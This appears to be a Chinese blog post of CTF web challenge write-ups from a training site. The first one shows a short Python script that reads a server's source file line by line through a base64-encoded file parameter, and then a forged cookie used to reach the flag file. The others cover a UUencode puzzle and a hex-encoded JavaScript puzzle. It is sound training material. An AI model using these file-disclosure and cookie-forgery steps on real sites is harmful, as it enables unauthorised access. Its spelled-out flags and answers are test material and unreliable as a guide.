您的位置:首页 > 其它

CTF-web练习

2016-03-27 16:18 513 查看
“带队训练,,,,麻烦”

cookie欺骗

题目链接: http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=40 知识点:base64解码, cookie欺骗

这里这里→ http://ctf.idf.cn/game/web/40/index.php
思路:

点击链接跳转到url:http://ctf.idf.cn/game/web/40/index.php?line=&file=ZmxhZy50eHQ ,发现参数file的值经过了base64编码,解码发现是“flag.txt”,猜测有文件包含漏洞,尝试更改file的值为“index.php”的base64编码值访问,网页空白,更改line的值后得到一行代码,多次尝试后发现line最大为18,写个程序抓取该文件内容,如下:
# !/usr/bin/env python3
# __author__: renzongxian

import requests

file = open("index.php", "wb")
for i in range(19):
url = "http://ctf.idf.cn/game/web/40/index.php?line=" + str(i) + "&file=aW5kZXgucGhw"
r =requests.get(url)
content = r.content
file.write(content)
file.close()
[/code]
抓取到的index.php内容为
<?php
error_reporting(0);
$file=base64_decode(isset($_GET["file"])?$_GET["file"]:"");
$line=isset($_GET["line"])?intval($_GET["line"]):0;
if($file=="") header("location:index.php?line=&file=ZmxhZy50eHQ");
$file_list = array(
"0" =>"flag.txt",
"1" =>"index.php",
);

if(isset($_COOKIE["key"]) && $_COOKIE["key"]=="idf"){
$file_list[2]="flag.php";
}

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
[/code]
根据代码内容可知当cookie中包含’key=idf’时可以访问’flag.php’文件,将file的参数改为“flag.php”的编码值,拦截访问并添加cookie,即可在网页源码中看到
<?php
$flag="wctf{idf_c00kie}";?>


古老的邮件编码

http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=41

title:
MR,O)^KNYU>;*Q[*[P_?#Q+"AHZS6Q\G,LKNYNZ.LR;;2LK*[N^&CK+/VN/;,

MXK:\TJJ]RKZAQ-36K:&CH:,*M/.XQ;3PL+B^S<K'U>+1^;#)=V-T9GMU=75U

*=65N8V]D95]??0`` 应该为UUencode编码,,脑洞实在是太大了这都能YY

在线解码

简单的js解密

http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=43

看源码发现 4d4e461c4a4f481d4c471b1b191c4f48474646191c4e194f4e19194b4f1c4b4b

答案地址:

http://blog.csdn.net/ab748998806/article/details/46277819

自求多福,加油,,,
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: